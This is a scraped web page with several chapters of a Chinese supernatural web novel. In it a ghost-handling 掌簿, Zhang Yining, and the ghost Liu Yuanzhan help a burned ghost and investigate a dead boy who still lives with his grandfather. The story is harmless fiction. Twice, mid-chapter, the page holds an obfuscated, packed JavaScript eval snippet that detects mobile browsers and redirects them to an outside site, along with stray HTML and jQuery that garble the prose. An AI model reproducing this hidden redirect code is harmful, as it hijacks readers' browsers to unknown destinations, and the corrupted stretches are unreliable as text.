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唯一的救命稻草迎上她殷切的目光,在那些似问非问的问题中挑了最后一条回答:“我此前未留意过掌簿之间的不同,所以并未说与你知,恐平白生了忧惧。我曾说他们的气息很熟悉,如今细细想来,他们与你与我见过的掌簿并不相同。” “什么意思?!”张祎宁大惊失色,心下着恼这么大的发现他竟然一直不说,“你先告诉我他们是人是鬼?” “人。他们与你虽都为肉体凡胎,你是人的壳子外沾染上鬼的气息,他们却是人的壳子里套着鬼的气息。” 谜团越聚越多,像是在梦里狂奔,前方突然出现一道断崖,她还没看见,脑子里已警铃大作,挣扎着惊醒过来。嗅到了危险气息,她本能止住发散的思绪:“算了,这不是我该考虑的事情,知道得越多反而越危险,目前我们虽然互设心防,但谈不上敌意。往后谨慎些就是。” 说到这,她又有了新的担忧:“我更担心的是,我的身份很尴尬,这不就是一个已经明牌的卧底?两边讨不着好,万一哪天阎王突然给我下发任务,我很为难啊……” 刘元詹柔声安抚道:“既来之,则安之。忧当日之忧,解一日之局。” “嗯,既来之,则安之,既来之,则安之……”张祎宁喃喃自语,以此缓解自己的焦虑。 她其实一直有一个问题想问,但又不知道怎么开口,顾左右而言他,说不到点上。 片刻后。 “你是真的无所谓吗?”她还是放不下,无法接受从头到尾只有自己是泛滥圣母心。“要听真话,我的家里可以有一只鬼,但不能是违心鬼。” 张祎宁站定在他面前,他就像马上要撞到人般直愣愣地刹住脚步,慌乱无处可藏。 他目光躲闪,小声说道:“你本无须做此选择。” “意思就是,你还是有所谓的吧?” 刘元詹看着面前人亮晶晶的眼眸,无声点点头。 自伤之语,又怎会无所谓? “凡尘、灵狱,确乎无异,但我如今有了新的归处。那里是不同的。” 他没问张祎宁为何将自己带回家,也不问为何偏要走那为难的第三条路,到了这个地步,他会义无反顾地陪着她走,自己已经没有什么可失去的了,唯一得到的东西,还是她给的。 他看见张祎宁释然地笑了起来,“走,回家。” 21. 烈火焚身 只两晚,张祎宁就很想逃。 她冥冥中有种踩中杜文新陷阱的感觉,想象中的门庭若市是没有的,大气是不敢出的,气氛是死寂压抑的,屁股是坐不住的,这不是陪刘元詹每晚都来坐牢? 平时想缝上的那张嘴偏巧这两晚安安静静呆在吧台后,刘元詹也是个闷棍,老金更是几乎以厨房为家,张祎宁之前只是有所感觉这里似乎隔绝掉了外界的声音,这两晚她无比确定。 她百无聊赖地看了看一旁的刘元詹,低声问道:“想什么呢?” “嘉靖为何给司礼监一个空心铁球?” “……” 她早就发现了,刘元詹对留在家里看电视的提议很是受用,每天早上她出门前打开电视机的刹那,他的眼神就随着荧幕一起变亮,连机械式的笑容都多了几分发自肺腑的真心。晚上他盯着张祎宁按开关的按钮也隐约带上幽怨和惋惜。 张祎宁撑着下巴看他冥思苦想,在让他继续陪着自己煎熬和发发善心中还是选择了后者。她将手机横放在刘元詹面前,点开《大明王朝1566》第23集,“看吧。” 他有些惊喜,“不在家也可以?” “21世纪了,做鬼也得跟上时代步伐,是不是?” 杜文新被视频播放的声音吸引,抬起头便看见一人一鬼挤着看小小的手机屏幕的滑稽画面。 他真是头回见到像张祎宁这样的掌簿,介于没心没肺和敏感细腻之间,摸不准是真的毫无城府还是心思颇深。 这两日他也不自在,明明是和平时一样的安静,但多了一人一鬼后,店铺的空间和氧气仿佛呈指数型骤降。 叮铃叮铃,凝固的空气流动了起来。 “有客。”杜文新淡淡说道。 张祎宁也听见了那轻微的铃铛响动,但未见门被推开,还以为是大风吹过,杜文新却说有客,她很自觉地充当了服务生的角色,前去开门。 门外站着的是一个身材略微发福,穿着简单家居服的中年男子,只是把饱和度拉到了最低,变得透明。张祎宁第一眼注意到的是他的神情,整张脸皱巴巴,拧成一团,显得焦急又痛苦。 看见张祎宁后,他先是一愣,随后探头向里张望,刘元詹正坐在里面,似是看见同类后确定目的地无误,他松了口气,但犹豫着没有进门,双手抱臂,频率极快地摩挲自己的臂膀,很是焦急。 想起刘元詹保持着坐凳子的荒谬习惯,张祎宁后撤了一步,靠在门边,留出一人宽的过道,“进来吧。” 他这才带着满脸的不安走了进来,抓挠动作不停。 张祎宁虽然感到奇怪,但也没贸然开口询问,等他走进来后向前一步准备关门,本就狭窄的走道,只这一个侧身动作,那鬼突然大叫着跳到一旁,蹲下身子,全身颤抖地呻吟不断:“痛,好痛……” “……!” 张祎宁被这突如其来的变数吓得呆若木鸡,动也不敢动一下。 不是……碰瓷吗? 她刚刚根本没留意是不是碰到了对方,因为对方是鬼啊……哪来的触碰之说? 杜文新和刘元詹都抬起了头,目光聚焦在蜷缩成一团的鬼影上。 张祎宁强忍下被冲击到的不适,边缓慢靠近,边关切问道:“不好意思,我不知道是怎么了……你还好吗?” 那鬼仍在痛苦地全身抚摸,听到她的话,惊恐地向后退:“别过来!别过来!痛……” 她彻底停住,对方的情绪波动太大,完全无法沟通。 这时,刚刚还在旁观的杜文新平静问道:“吴智宁?” 吴智宁看向吧台后戴着眼镜的斯文男子,连声答:“是,是,我是吴智宁,是……” 这一看就不是好处理的任务,光是安抚对方情绪要花费的工夫就不少,此刻听到杜文新说出对方的名字,知道没自己事了,张祎宁偷偷松了口气。这么好一个学习范本的机会她立马来了兴趣,还可以借此探探这个“横”组织的虚实。 杜文新没有要离开吧台的意思,手上擦拭杯子的动作继续,说道:“你的掌簿找了你两天。” 吴智宁向前挪动了两步,最终还是停下,离那两人一鬼都有段距离,“我……我……对不起,我受不了了!对不起!我真的受不了了,太痛了,我太痛了……”一说到“痛”,他的五官又缩在了一起,茫茫然不自知地重复呻吟,忘记自己要说下去的话。 杜文新是此刻这间屋子里最平静的人,“他很努力地在帮你。” 看到吴智宁的样子,张祎宁全程眉头都是紧的,虽然不知道他经历了什么,但那种情绪的电流触达到了她的神经元,她会本能觉得对方很惨很可怜,可是杜文新和刘元詹看起来都那么波澜不惊,杜文新连说话的语调都依然是冷的。 张祎宁也不知道出于什么缘由,她迅速调整好表情,抬起胸膛。好像感情用事在冷静自持面前,总是会自卑地落入下风。 吴智宁听到杜文新的话才又从那种只知道痛的空白中解脱出来,断断续续道:“对不起……我对不起王警官,可是我真的受不了了!我不在乎了,不在乎他们会不会被绳之以法,我就想死!我不想留在这里!每一秒都是酷刑,每一秒都让我痛得发抖……” 吴智宁浑浑噩噩地喊疼,脚底下似乎是刀山火海,总是不住抬脚又放下,想用手支撑地面,却在指尖将要触及的时候倏地收回,似被烫到的生理反应。 他就这般不知疲倦地变换姿势,最后下决心跪地,张祎宁看着他的表情变得狰狞,心脏像被狠狠揪住,不忍,虽不知他在忍受什么样的痛,但定是极痛。 他跪对着杜文新连连磕头,“对不起……求求你救救我!你就让我死吧,哪怕灰飞烟灭都行!我根本不知道自己为什么会变成鬼!什么执念!我根本不在乎!是你们搞错了!”他刚激动地大喊完,就马上矮下身子,变回恳求的态度,“对不起……我不是这个意思……求求你,阎王爷!求求你,放过我,让我死,我想死……” 阎王爷!?张祎宁像被人突然以一种束紧口袋的动作粗暴地扼住咽喉,她和刘元詹几乎是在一刹那便对上了视线。 杜文新这回倒是反应及时,不至于憋死她。“我不是什么阎王爷,你会变成鬼是因为你有执念,你的执念你已经跟你的掌簿说过了,我听说那时你是咬牙切齿,坚决地要看到那些害你至此的人一个一个地付出代价。王警官为了你的事情尽心尽力,你要相信他是真心实意帮你,我们都盼你早日脱离苦海,重新开始。” 呼——杜文新怎么可能是阎王!声音、性格都大相径庭,还好还好……虚惊一场。 吴智宁颓然地坐下,满脸死灰,哽咽道:“为什么?我这一辈子不偷不抢,本本分分,偏偏是我遇到这种事?就连死了还要备受折磨,天理何在?我是上辈子做了什么孽吗老天要这么惩罚我……那些害我的坏人还活得好好的,可我死了,还要日日受烈火煎熬……凭什么……” “是,所以你不是要亲眼看着他们付出代价吗?这就是你本来的执念,你没有忘记它。”杜文新已经走到了吴智宁面前,柔声道:“王警官已经来了,他在街口等你。他迫不及待地要告诉你这两天案子的新进展。” 吴智宁没回答,他一路过来,每一阵风、每一步路、无法避免的每一次与人擦肩,还有开口说话时每一下声带的摩擦震动,都让他痛不欲生,但他忍了下来,就为了一个念头——死,彻彻底底的死。 灰飞烟灭才是真正的解脱。 却在顷刻间宣告破灭。 他失声痛哭。死原来是一件这么难的事情吗? 屋子里的人都静静的,有人悄悄别开了泛红的眼,有人目不转睛地盯着颤抖的肩,有人低下头想到了自己,有人隔着一扇玻璃窗,停在砧板上方的刀迟迟没有落下。 只有吴智宁的哭声,还有,还有细细密密的说话声,张祎宁猛然想起,他们都忘记按下暂停播放,唯一可能记得的人,他做不到。 片尾曲响起时,吴智宁也停止了哭泣。他颤颤巍巍地站起,看着杜文新,哽咽着问:“坏人真的会有恶报吗?” 这是个很难回答的问题,饶是张祎宁当了掌簿,知晓了诸多生死之事,她也不敢妄断。所谓命运,所谓天道。 杜文新却斩钉截铁地回答:“会。” 张祎宁不知道他说的是真的,还是为了安抚吴智宁的随口一答。但这个回答对吴智宁来说,显然十分重要,他平静了下来,蹒跚着往门的方向走去。 张祎宁本就站在离门不远的地方,忙替他打开,紧紧贴在门边,恨不得变成一张粘在门上的薄纸。她目送吴智宁一步深一步浅地向前走,直到消失在人群里。 “鬼也会痛吗?还有他说的烈火煎熬是什么意思?”她向已经走回吧台后的杜文新发问道。 “当然不会。他是在家中使用吹风机,吹风机爆炸自燃,酿成了火灾,烈火烧身的痛苦再加上他亲眼目睹变成焦炭的自己,受到不小的心理冲击,痛感烙在他心里了,而且在不断加深。刚死不久,他对那些制造厂商强烈的恨还能和这种心理痛觉抗衡,渐渐地就受不住了。” “那他现在放弃了,也不行吗?” 吴智宁的呻吟和痛哭似乎还在这个隔绝的独立空间里回响。 杜文新的目光突然变得锐利,直视着她,反驳道:“放弃?如果不是我知道你的掌簿身份,我真要怀疑提出这个疑问的人是在发表什么爆米花伦理悲剧观后感,释放她多了不得的人性关怀。用你被学术帽砸坏的大脑想想,如果他真的放弃了,王警官挥手一勾,再慢慢走该走的程序,抓该抓的人不就得了?还轮得到我在这里大喷口水?” 张祎宁被他兜头一盆冷水泼下,教训得无地自容。 杜文新嘴很毒,但他说的话从来都有道理。是自己昏了头,她不是没有遇到过真正心灰意冷放弃执念的鬼,那曾经还是她的“业绩来源”,如果吴智宁真的甘愿就此死掉,不再执着于复仇,阴身簿上就会出现他的名字,但明显是没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还是第一次在他的脸上看到为难的表情,张祎宁立时就懂他的意思了,安慰道:“虽然刚刚在店里你说的我确实没听懂,之前的很多时候也听不懂,但是我能明白你想表达的意思,毕竟都是中文嘛,你是不是也常常不明白我们在说些什么?” 他垂下头,默认,像犯了什么不可言说的弥天大罪。 “其实你适应得已经很好啦,都没有满口之乎者也,只是我的大脑里没有处理相关语言的转换器,我以后会说得简单点,你听不懂了就问我,还有!你要多说,多表达才会学得更快,你以后可以多跟我说说话吗?” “好。”刘元詹温和应道,并直接践行了承诺,不懂就问:“大脑处理器是?” 她讪讪答:“呃,意思是说我没文化,不是你的错。” “所以,你本来在路上想跟我说的话是什么?” 他有点为难,没有马上回答,要尽量以张祎宁能听懂的方式说一大段话对他来说总归是困难的,但他看得出张祎宁心情不佳,还是磕磕绊绊道:“你很好,你和他们不同,他们觉得执念更重要,但你能看得见我们。” 张祎宁本想说:“要不你还是正常说话吧?你这样我更听不懂了。”但上一秒才鼓励人家多说多表达,下一秒就否定,也太无情了。她将这些垃圾话咽回肚子里,猜测道:“嗯嗯,你的意思是说我把你们当人看待?这让你感觉很好?” 他如释重负地点头。 “看,你说得很好,我听懂了。” 张祎宁这时突然想起每次关掉电视时他那哀怨的眼神,她会自然地说:“留点下次看,不能一次看完。”和现在有异曲同工之处,像是在哄小孩。 “我其实……还记得之前那些找到我想要我帮他们复仇的鬼吗?我那个时候把他们都当在路边捡到的钱,他们早就心灰意冷了,我什么都不用做,只需要扮演好最后一根稻草,就能坐收渔利。我没把他们当鬼,更没把他们当人,遇到些难缠的我甚至也会诅咒他们,人都死透了还想做什么还能做什么呢?说实话,谁没点什么求而不得,你们当鬼一了百了,把完成未尽的执念这个任务甩给了我们这些无关的掌簿,凭什么呢?自己的事情自己解决,得不到的莫强求不是吗?”她故意将那些压在心底的恶毒想法说给刘元詹听。 因为她不知深浅的承诺,刘元詹对她有了不切实际的评价和期望,听到他说“你很好”,像是放心交出肚皮的猫,自己却想朝他的脖子上咬一口。 “你说我很好、我和别人不同,不过都是因为我答应要帮你罢了,如果我拒绝呢?那就和他们一样。” 张祎宁毫不留情地撕开平和的假面,“我后悔过的,后悔自己不知天高地厚说要帮你,后悔把你带回家,后悔自己给自己找麻烦找罪受。”她没有看刘元詹可能会受伤的表情,径直回房。 嘭的一声,生与死、人与鬼的世界,又被一扇门隔开。 明明是那么好的氛围,明明在接受关心和褒奖,但她又亲手毁掉了。她的性格真的很差啊,难怪身边空无一人,张祎宁躺在木地板上长叹了一口气。 22. 大小鬼 张祎宁带着负罪感入睡,又带着虔诚的忏悔心醒来。 吴智宁撕心裂肺的痛呼和刘元詹在天桥上落寞的背影结合成一体在她的脑子里似鬼魅般游荡。第一次直面他人惨痛的人生让她得以重新认知自己,她对掌簿没有认同感,说到底是为了活着。 权力蒙蔽心智,哪怕是一点小小的权力,只要有施行对象,便是至高无上。她审视,她蔑视,她无视,精挑细选代价小的、不麻烦的,皆因她有选择,可以在那些无余地的人生中挑挑拣拣。 “阎王怎么会选我这种人当掌簿,唉……”她想清楚了,但又想不透。明白掌簿的责任与本质并不能让她往后就以此行事,她也有自己的人生要过啊,求来的人生更是过一秒就赚一刻,舍不得也放不下。 想不透就不想,走一步看一步,要紧的是先跳过眼前的坎。向刘元詹道个歉,说自己有人格分裂,再不然说昨晚被阎王上身了。 她没有顶风作案污蔑到阎王头上,因为刘元詹不见了。 张祎宁傻眼了,千算万算没算到他会走,前不久信誓旦旦向杜文新保证会看好他,今天就把人气跑了。 现在被毁掉的又多了个美好的星期六和不明的前路。 天桥?那个小公园?1980taste?要在这个拥有几千万人口、不知多少但决不会少鬼户的大都市里找到一只鬼,大海捞针都是轻的,毕竟针不会躲起来。 张祎宁不知道要去哪找,她只知道自己得出去找。于是,她紧急洗漱一番就出门了。 急匆匆地,她差点和他错过。 刘元詹坐在那棵院子中央的悬铃木树台上,正好位于窗口视野以及院门道路的背面,被遮了个严实。她是瞥见了蹦蹦跳跳的小鬼身影,留心看了一眼,才发现要找的人近在咫尺。 风风火火的脚步反而停住了,想好的措辞也哽在喉头,无所顾忌地道出内心晦涩后,她是不是真的有勇气未着寸缕地接受对方的检视? 她不动声色地在刘元詹旁边坐下,像不在意也不惊奇他出现于此。他们谁都没开口说第一句话,张祎宁不自在地用余光扫视一旁的刘元詹,然后又被突然站定在她面前的小鬼夺去注意力,他正睁着好奇的大眼睛打量自己。 瞧她一瞬不瞬粘在自己身上的目光,小鬼兴奋地拍手:“姐姐看得见我!我就知道姐姐看得见我!”他向前靠近一步,问道:“姐姐也看得见大哥哥吗?” 张祎宁叹气,到头来还是要自己面对小鬼,前面装傻都没意义了……还是有意义的,显得她更傻了。 她正视自己的潜在KPI,说道:“我就是来找大哥哥的。还有你,小鬼,你叫什么名字?” “我叫王啸,爸爸妈妈、爷爷奶奶都叫我小小,我今年6岁半,家住……家住那里!”他倒背如流自我介绍,热情地用手指向一单元三楼的一户人家。 “小小,你知道自己现在在乱跑吗?你有该去的地方,但你跑出来了,姐姐要带你回去的。” 小小摆摆手,“小小很听话,没有乱跑!小小只呆在院子里不会跑出去!爷爷一叫我我就回家了。” 缺乏跟小孩沟通经验的张祎宁很郁闷,除了语气放轻放柔,她不知道还能怎么让对方听懂。 她稍微前倾身体,将自己与小小的视线放在同一水平线上,尽可能解释清楚:“小小,我说的不是这里,你知道自己身上发生了什么吗?” 他无辜地摇了摇头。 “唔……那你现在最大的愿望是什么呢?” “呆在这里,跟爷爷在一起!” 这愿望就跟一个人死后的执念是不要死,要复活一个道理。这不可能啊!我又不是许愿池! 等等……他只说要呆在这里,也没说要复活,让他继续当鬼呆在爷爷身边,不就行了?刘元詹都能当鬼百年,那说明起码不是禁止的。那这样自己睁一只眼闭一只眼,不也算完成他的愿望? 完美闭环! “当然当然!当然可以!”张祎宁掷地有声,就连刘元詹都不禁侧目。 话落地,她等了片刻,才掏出阴身簿,可惜,这完美闭环不被承认,阴身簿上没有出现“王啸”的名字。 她讪讪地合上簿子,找补道:“当然……当然!我当然理解你想呆在爷爷身边,但是!”“但是”后面的话还没编好,但是“但是”已经脱口而出,“但是,你有要去的地方……”蹩脚的理由被一声高喊打断,院中人的视线都汇聚到那处去,是刚才小小手指的方位。 “小小——回家吃饭——” 仿佛是碾碎了身体的每一处才挤出那么点力气聚拢喊出这一声,本该拉长的尾音因气力的突然消失而无以为继,就那样尴尬地挂在半空,不一会儿便坠入泥地。 “哥哥姐姐,爷爷喊小小回家吃饭啦,小小要快点回家,不惹爷爷生气。爷爷睡午觉了小小再出来玩!”活蹦乱跳的小泥鳅,还未等张祎宁伸出手就滑走了。 她嘀嘀咕咕:“什么嘛,爷孙俩都有问题?” 一树之隔正在下棋的老大爷中,一人随口说了句:“天天喊天天喊,瘆得慌。”就有人马上接道:“不知道是不是疯了。” “疯了就去精神病院,呆在这里影响大家的生活,糟心。” 世上无新事,但旧事重提,越提越有的聊。 “我早就跟居委会反映了,上门几次说没办法,子女不管。” “恨都恨死了,作孽哦。” …… 一声“将”,话题戛然而止,只余张祎宁满腹疑问。 小鬼溜走了,还有一个不辞而别的大鬼在旁边。 刚刚又在他面前淋漓尽致地展现了自己“公事公办”、偷奸耍滑的一面,再要推脱到阎王身上就更难看了,她立正挨打,先道歉:“对不起,我这个人就是这样,明明自己不是什么好人,却又看不得别人不好。我说你的话我听不懂,但其实我自己也不好好说话,对不起啊刘元詹。” 烈日当空,叶片罅隙之间洒下一点一点亮,笼罩在刘元詹身上,张祎宁的脑海里划过一个词语——“丁达尔效应”,光之路的中心有个刘元詹,表情淡淡的,柔和宁静,她瞬间就放松了下来,猜到了他的态度。 果然—— “人之常情,莫苛己。” “嗯,那你别生气了。” “我不生气。” 说开后,张祎宁的心情阴转晴。 树台还没有被晒得滚烫,暖暖的,她将手掌撑在上面,斜斜的影子随着脚尖的晃荡一会长一会短,刘元詹也在瞧着她的影子。 张祎宁把他捡回家的那晚,一路无言,他就是这么低着头跟着影子走,走啊走,他就有家了。 “刘元詹,你在发光诶。”他的注意力因为张祎宁的小声惊呼而转移,转头便看见她举着手机,“太好看了,我给你拍张照。”他知道这个叫手机,用于保持人与人之间的联系,每个人都有。 张祎宁含笑看着手机。刘元詹贫瘠的记忆海里突兀出现了吴绫,那似乎是自己曾有幸赏玩过一次的珍品,何时何地见过的,往事无踪,但那柔软光滑、细腻无匹的触感留了下来。张祎宁在日光下的笑容让他蓦地想起了此种雅物,令人舍不得挪眼,不禁喃喃问道:“是什么样?” “和阳光一样。很好看。”张祎宁说着,又戳了两下手机,方按息屏幕,即便对上他充满好奇和征询意味的目光也没说要给他看一眼,转而问道:“你刚刚和那个小鬼聊天,他有说起什么吗?” 他眨巴眨巴眼,无奈道:“没有。我所知和你一样。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448799|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 还指望你作为突破口呢……张祎宁撇撇嘴,皱着眉头想接下来该怎么推进。 刘元詹没错过她纠结的神色,不大好意思地说:“他说话快且密,我疲于应付他的提问……” 罢了,百无一用是书生,何况读的书也都忘了。 她振奋精神,站起身拍了拍浮尘,“解铃还须系铃人,我们先去会会那个爷爷。” 张祎宁没问刘元詹被小鬼缠住是不是在他决定要走的路上,现在已经不重要了。 * 谈不上窗明几净,但因着极好的朝向,两边又没有楼宇遮挡,明亮的光线穿堂而过,电视上的灰尘、窗台上的蛛丝一览无遗,只有客厅中央的沙发一圈和餐桌还算干净。 老人正颤颤巍巍地从厨房里端出两副碗筷,添上饭后分别摆在相邻的两张座前,简单的动作也足够缓慢,来得及让小小从楼下一口气爬上来。 房内顿时活络起来。 “爷爷,我回来啦!” “哇!可乐鸡翅!好香啊——” 小小扬着一张笑脸,围在爷爷身旁玩笑道:“今天的鸡翅有点黑,肯定是可乐放多了,爷爷扣一分。” 爷爷吃了两口白饭,将可乐鸡翅推到一边,慈爱地说道:“小小吃,你最爱吃的可乐鸡翅。” “爷爷也吃,小小在换牙,你说吃多了牙会掉光的。” “换牙也不怕,爱吃的东西就多吃。” 小小拍着巴掌,高喊:“爷爷天下第一好!!” 温馨的时刻被敲门声打破,力度不大,叩叩叩,爷爷夹起青菜的手顿了一下,没动也没回话,直到一声有礼貌的询问传来:“你好,请问王啸爷爷在家吗?” 是年轻的女声。 爷爷的神色缓和下来,转头笑问道:“是不是老师来了?小小有没有在学校闯祸?”再度颤颤巍巍地支手撑起身体,慢腾腾走向门口。 小小却很不安,直直盯着紧闭的大门,他此刻的心情倒是真像闯了祸被老师寻上门。 门一开,张祎宁看见的就是个瘦瘦小小的老头,这个年纪不算很老,但皮肤已经皱皱巴巴,看起来病恹恹的,和楼下那些精神矍铄每日下棋晨练的老头很不一样。 “呃……爷爷……”她总是这副性子,想一出是一出,觉得爷孙有问题就贸然上来了,没怎么编理由。 但面前的爷爷很是和蔼,笑脸迎人:“是小小的老师吗?” “啊?……啊!对,我是小小的老师,有点事需要和爷爷沟通。” 这送来的主意好啊,老师的衣服她毫无负担就穿上了。 “好好,老师请进,我们正吃饭呢,老师吃过饭了吗?” “吃过了吃过了。” 爷爷腿脚不利索,走得很慢,张祎宁小心翼翼地跟在后面。 在门外时不觉得,关上门走进来后她便闻到了房里有股怪味,说不上来,像是霉味、馊味,还有老人味的混合,她微不可见地努了努鼻子。好家伙,一屋四个,就她能闻着。 “你这孩子光坐这,也不知道去门口迎迎老师。”爷爷嘴上斥责,但声音温和。 走过入户走廊,张祎宁看见了餐桌前的小小,他神色晦暗地瞪着自己。 她的头皮顿时炸起。 【你这孩子光坐这,也不知道去门口迎迎老师。】 她的目光逡巡在爷孙俩身上,进鬼窟了?还是这爷爷有阴阳眼? 寒意渗出,她下意识后退一步,手不自觉想抓后面人的袖子,却抓了个空。 刘元詹及时地走上前,小声说了句“别怕,他不是鬼”后就站到了张祎宁前面,将她和爷孙俩隔开,虽然物理意义上没有任何分别,但她还是松了口气。 但,不是鬼更不好办。 23. 家访 和她家的格局无有不同,只是桌椅家具都可见年月久远,东西不多,所以不显杂乱。刚刚的异味只是个开始,走进正厅后,浓烈的下水道气味扑鼻而来,张祎宁立时憋气,只留嘴巴呼吸。 要在这样恶劣的环境里呆多一刻钟,她都要爆炸,眼前还有一副完全搞不清楚的状况。 “老师,坐。”温和的声音让她将打量的目光从环境转移到人身上,她礼貌笑笑,拉开最靠近门的一张椅子坐下。 爷爷刚拿起筷子的手又放下,她忙道:“你……你、们吃,你们吃,呵呵……” 她偷偷觑了眼小小,他还气鼓鼓的,试探开口道:“小小……”只是提了一句,他便耸起肩膀,活一副她再乱说一个字就要跳起来撕烂她嘴的进攻姿态。张祎宁反而完全不怵他了,得逞地笑了笑,小屁孩。 “爷爷,小小在家里听话吗?” “乖得很!”爷爷慈爱地看着小小,小小也回以最自豪的笑脸。 看着对视而笑的爷孙俩,张祎宁的汗毛又生理性地竖起,不免看向刘元詹,以眼神问道,他真不是鬼? 刘元詹似乎读懂了,轻轻摇头。 “小小是不是犯什么错误了?给老师添麻烦。” “哦,没有。就是家长会,下星期要开家长会,想问问小小的爸妈……”本以为小小又会瞪她,却看他正紧张地盯着爷爷。 “他爸妈都在外地打工嘞,不常回,平时都是我去,老师这是?”爷爷的反应平静,只是轻微疑惑。 张祎宁正色道:“是是,我是想看看这次能不能让爸妈参加,毕竟小孩的教育不仅靠学校老师,家庭和父母也是很重要的。我们也想和父母多沟通,这样对小小也好。” 类似的话张祎宁耳熟能详,信手拈来。 爷爷叹气:“辛苦老师了。他爸妈平时忙,压力也大,一个星期难打一回电话,把小小交到我这里,我管他吃穿和学习,”讲到这,难免多说两句,“年纪大确实有些地方顾及不到,好在小小懂事,还得麻烦老师们多多上心。” 她搪塞道:“当然,这是当然。” “小小他……最近身体还好吧?家里呢?有没有什么变故?”有了这个基础,张祎宁开始往危险的边缘试探。 小小闻言,大声制止:“姐姐!” 呐喊回响在正厅处,落在三个人耳里。 爷爷先是一愣,而后向旁伸手,看动作像抓着小小的肩膀转了两下,但手掌毫无疑问地没有落在实质处,且离小小还有段距离,张祎宁心里有数了。 “小小怎么了?家里……我都好。”语气透露出真实的焦急。 张祎宁已经达到了目的,加以安抚:“爷爷别担心,只是例行的关心,小小懂事,老师们担心他有什么事情、烦恼会自己憋在心里,没有就好。” 爷孙俩的脸色都舒缓下来。 “老师说得对,”爷爷先笑着回应了她,然后转头对着小小说,“小小听到老师的话了吗?要听老师的话,都是为了你好,有什么事也要及时跟老师说,免得大家担心。” 小小闷闷地应了句:“听到了。” “好,没什么事那爷爷我就先走了。” 打探到了最好奇的,张祎宁功成身退。 见对方起身艰难,她边后撤边推辞道:“爷爷不用送了,我自己走就好,你快吃饭吧,叨扰这么久都冷了。小小,小小送我就行。” 爷爷指使小小:“去送送老师。” 他冷言冷语:“小小要陪爷爷吃饭,睡午觉已经迟了。” 当然,爷爷根本没听见,他笑着目送小小送老师出门。 门关上,张祎宁倚着墙壁做了几个深入肺腑的深呼吸,刘元詹好奇地问:“你没事吧?” 她摆摆手,揉了揉额角,“没事,这波冲我来的……” “他没有出来。” “庙在这,和尚跑不了。” 因着刚才的事,到家后两人都没有不自在。张祎宁麻利地给刘元詹打开电视,又给自己下了碗泡面。 贪婪地吸了两口泡面的鲜辣香味,她才觉得那些浑浊的臭气确实已经远离自己了。做回正事,打开手机搜索小区名字,除了租售信息,没有其他符合的内容。 已知条件—— 小小死了,执念说是和爷爷在一起。 爷孙俩一直在这住,爸妈不常在,小小死后爷爷还住这。 爷爷不是鬼,也没有阴阳眼,但他应该是疯了。 小小的死大概率和爷爷有关。 爷孙俩各演各的,还“和谐”地生活在一起。 小区里的老人大多都知道实情,且多有不满。 小小的爸妈现在不管老人了。 一条条梳理清楚,张祎宁就想起了那天早晨的动静。 她原以为小小跟着的老太可能是亲人,但今天得知爷孙俩相依为命,那大概老太嘴里不断咒骂的就是爷爷了。 骂得真狠啊……还有下棋时偷听的闲话,“唉,感觉好难办……” 刘元詹刚刚就瞧见她划着手机,表情不甚明朗,现在又一副颓然样,关切问道:“很棘手吗?” “我们现在还不知道究竟发生了什么,从爷孙俩身上都得不到答案,网上也没查到,现在只能寄希望于小区邻居。”她之前可是都躲着走,就怕大爷大妈给两个眼神,她真的很不擅长交际。 刘元詹赞同地点头,又道:“小小真不记得吗?你谈及身体,他很激动。” “嗯。”她说那句话是想试探爷爷的,却不想小小的反应那么大。 “他肯定清楚自己和爷爷现在的状态都不对,至于知不知道自己死了怎么死的,他说不知道,我也不确定。” 变成鬼不会失忆,张祎宁遇见的案例都证实了这点,但小孩子嘛…… 她喃喃道:“6岁,6岁的小孩会撒谎吗?6岁,是不是该上一年级了?”完全没有头绪。 “宽心,已有下一步计划便不算无措。” “唉,一时半会儿也搞不定,慢慢来吧。” 她继续嗦面,刘预知见她没有要再交谈的意思,才重新聚精会神地看向屏幕。严世蕃正去往内阁值房找徐阶,还好还好,刚刚错过的剧情只是铺垫。 * 小 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不是大本营吗?鬼呢?这比她那鲜为人知的算命摊还门可罗雀! 前头有一桌客人在吃萝卜牛杂煲,她不动声色地拖了张高脚凳到杜文新旁边。 “干嘛?”他现在不像之前那么咄咄逼人,但也板着张臭脸。 “你们最近生意好吗?我指的是那个生意。”虽然尽可能压低声音,但毕竟这里真的密闭性太强了!要不是还有刘元詹那里低低传来电视背景音和客人的交谈声,她怀疑放个屁全部人都听得很清楚!是以,她讨巧地用了些委婉的问法。 杜文新听懂了,偏又问:“干嘛?” ”你们还有分店吗?” “只此一家,童叟无欺。” 张祎宁不免着急,“那他们怎么都不来啊?” 杜文新的手就没离开过计算器,“你见哪家卖酒卖茶的,人满为患?” 意思是主要不靠店守株待兔,有其他门路? 她也不兜圈子了,“那我呢?” “那个小鬼你搞定了吗?” 想到就头疼,张祎宁摇头,“麻烦得很,没把握。” 他这才抬起头,想了想,问道:“你这个月达标没?” 这话问的是KPI,确实临近月底了。 张祎宁就怕他不问,骄傲地扬起脖颈,“嗯,我前段时间可努力了。” “那不急,下个月再安排,每个月总有些拖延的人。” “好。” 得了这句保证,张祎宁安下心来,卖了个笑脸就走开,不打扰他继续算账。 收获可不止这些,她刚刚偷空扫了眼杜文新埋头忙碌的那沓纸,捕捉到了几个关键词——殡仪馆、XX医院。 殡仪馆、医院,还有之前的王警官,她大概理解组织的基本构成以及客源的分销方式了。 庞大的组织。有意思。 那为什么是杜文新和老金呢?他们一定有不同之处,比如刘元詹说的“气息”。 不急,她会一点一点搞清楚。来日方长。 24. 八百万种死法 